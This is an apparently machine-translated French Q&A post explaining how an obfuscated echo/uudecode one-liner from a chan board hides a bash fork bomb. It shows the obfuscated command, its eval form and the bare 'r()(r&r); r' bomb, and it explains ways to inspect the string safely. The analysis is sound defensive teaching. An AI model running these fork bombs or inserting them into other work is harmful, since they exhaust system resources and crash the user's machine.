Comment et pourquoi cette chaîne de texte est-elle une fourchette?
Trouvé sur un tableau de chant aléatoire:
echo "I<RA('1E<W3t`rYWdl&r()(Y29j&r{,3Rl7Ig}&r{,T31wo});r`26<F]F;==" | uudecode
En quelque sorte, cette opération entraîne un processus de génération infini qui se généralise et arrête la machine. Je vois quelque chose à propos de "su" qui tente d'être exécuté à plusieurs reprises.
..qui est étrange, car je m'attendais simplement à ce que du texte soit généré, pas à l'exécution de quoi que ce soit.
L'exécution de ce texte via un décodeur en ligne me donne simplement un lot de données binaires:
Que fait réellement ce gâchis de texte et y a-t-il un moyen de le voir "en toute sécurité"?
Tout d’abord, regardons l’ensemble de la commande:
echo "I<RA('1E<W3t`rYWdl&r()(Y29j&r{,3Rl7Ig}&r{,T31wo});r`26<F]F;==" | uudecode
Il contient une chaîne entre guillemets doubles qui est répercutée sur uudecode. Notez cependant que la chaîne entre guillemets doubles contient une chaîne guillemets arrières. Cette chaîne obtient executé . La chaîne est:
`rYWdl&r()(Y29j&r{,3Rl7Ig}&r{,T31wo});r`
Si nous regardons ce qu'il y a dedans, nous voyons trois commandes:
rYWdl &
r()(Y29j & r{,3Rl7Ig} & r{,T31wo})
r
En exécutant développement d'accolade sur la commande du milieu, nous avons:
rYWdl &
r()(Y29j & r r3Rl7Ig & r rT31wo)
r
La première ligne tente d'exécuter une commande absurde en arrière-plan. Ceci est sans importance.
La deuxième ligne est importante: elle définit une fonction r qui, une fois lancée, lance deux copies de elle-même. Bien entendu, chacun de ces exemplaires en lancerait deux autres. Etc.
La troisième ligne lance r, à partir de la bombe fourchue.
Le reste du code, en dehors de la chaîne citée en arrière, est tout simplement absurde pour l'obscurcissement.
Comment exécuter la commande en toute sécurité
Ce code peut être exécuté en toute sécurité si nous fixons une limite au niveau d'imbrication des fonctions. Cela peut être fait avec la variable FUNCNEST de bash. Ici, nous mettons à 2 et cela arrête la récursion:
$ export FUNCNEST=2
$ echo "I<RA('1E<W3t`rYWdl&r()(Y29j&r{,3Rl7Ig}&r{,T31wo});r`26<F]F;==" | uudecode
bash: rYWdl: command not found
bash: Y29j: command not found
bash: r: maximum function nesting level exceeded (2)
bash: r: maximum function nesting level exceeded (2)
bash: r: maximum function nesting level exceeded (2)
bash: Y29j: command not found
bash: r: maximum function nesting level exceeded (2)
bash: Y29j: command not found
uudecode fatal error:
standard input: Invalid or missing 'begin' line
Les messages d'erreur ci-dessus indiquent que (a) les commandes non-sens rYWdl et Y29j sont introuvables, (b) la bombe fourchue est régulièrement arrêtée par FUNCNEST et (c) la sortie de echo ne commence pas par begin et, par conséquent, ne entrée valide pour uudecode.
La fourche bombe dans sa forme la plus simple
À quoi ressemblerait la bombe à fourche si on enlevait l'obscurcissement? Comme le suggèrent njzk2 et gerrit, cela ressemblerait à ceci:
echo "`r()(r&r);r`"
Nous pouvons simplifier encore plus:
r()(r&r); r
Cela consiste en deux instructions: l'une définit la fonction fork-bomb r et la seconde exécute r.
Tous les autres codes, y compris le tube vers uudecode, étaient uniquement destinés à être obscurcis et mal dirigés.
La forme originale avait encore une autre couche d'erreur
Le PO a fourni un lien à la discussion du conseil de la chaîne sur laquelle ce code est apparu. Tel que présenté ici, le code ressemblait à:
eval $(echo "I<RA('1E<W3t`rYWdl&r()(Y29j&r{,3Rl7Ig}&r{,T31wo});r`26<F]F;==" | uudecode)
Notez l'un des premiers commentaires sur ce code:
J'ai craqué pour ça. Copié uniquement la partie qui fait écho et décode, mais toujours avec un forkbomb
Dans le formulaire sur le tableau de bord, on pourrait penser naïvement que le problème serait l’affirmation eval opérant sur la sortie de uudecode. Cela laisserait penser que la suppression de eval résoudrait le problème. Comme nous l'avons vu plus haut, c'est faux et dangereusement.
Pour répondre à la deuxième partie de votre question:
... y a-t-il un moyen de le voir "en toute sécurité"?
Pour désamorcer cette chaîne, remplacez les guillemets extérieurs par des guillemets simples et échappez-les aux guillemets simples présents dans la chaîne. De cette manière, le shell n'exécutera aucun code et vous passerez tout directement dans uudecode:
$ echo 'I<RA('\''1E<W3t`rYWdl&r()(Y29j&r{,3Rl7Ig}&r{,T31wo});r`26<F]F;=='
I<RA('1E<W3t`rYWdl&r()(Y29j&r{,3Rl7Ig}&r{,T31wo});r`26<F]F;==
$ echo 'I<RA('\''1E<W3t`rYWdl&r()(Y29j&r{,3Rl7Ig}&r{,T31wo});r`26<F]F;==' | uudecode
uudecode fatal error:
standard input: Invalid or missing 'begin' line
D'autres alternatives sont notées dans les commentaires:
$ uudecode
I<RA('1E<W3t`rYWdl&r()(Y29j&r{,3Rl7Ig}&r{,T31wo});r`26<F]F;==
[press <Ctrl>+D]
uudecode fatal error:
standard input: Invalid or missing 'begin' line
Jacob Krall a suggéré d’utiliser un éditeur de texte, de coller le contenu, puis de transmettre ce fichier à uudecode.
À première vue, vous pourriez penser que la sortie dans le shell ne sera jamais exécutée. C'est toujours vrai. Le problème est déjà dans le entrée. L'astuce principale ici est ce que les programmeurs appellent la priorité des opérateurs . Voici l'ordre dans lequel le shell tente de traiter votre entrée:
1. " "
2. rYWdl
3. &
4. r()(Y29j&r{,3Rl7Ig}&r{,T31wo})
5. ;
6. r
7. ` `
8. I<RA('1E<W3t 26<F]F;==
9. echo
10. |
11. uudecode
- Composez la chaîne en exécutant toutes les commandes backticks qu'il contient.
- Généralement, une commande inconnue, qui provoquerait une sortie comme Si 'rYWdl' n'est pas une faute de frappe, vous pouvez utiliser command-not-found pour rechercher le paquet qui le contient… (dépend du système)
- Exécute 2. en arrière-plan. Vous ne verrez jamais une sortie.
- Définir la fonction de bombe à la fourche.
- Séparateur de commandes.
- Exécutez la bombe à la fourche.
- Insère le résultat de 6. dans la chaîne. (Nous ne venons jamais ici.)
L'erreur est de penser que echo serait la première commande à être exécutée, uudecode la seconde. Les deux ne seront jamais atteints.
Conclusion: Les guillemets doubles sont toujours dangereux sur le shell.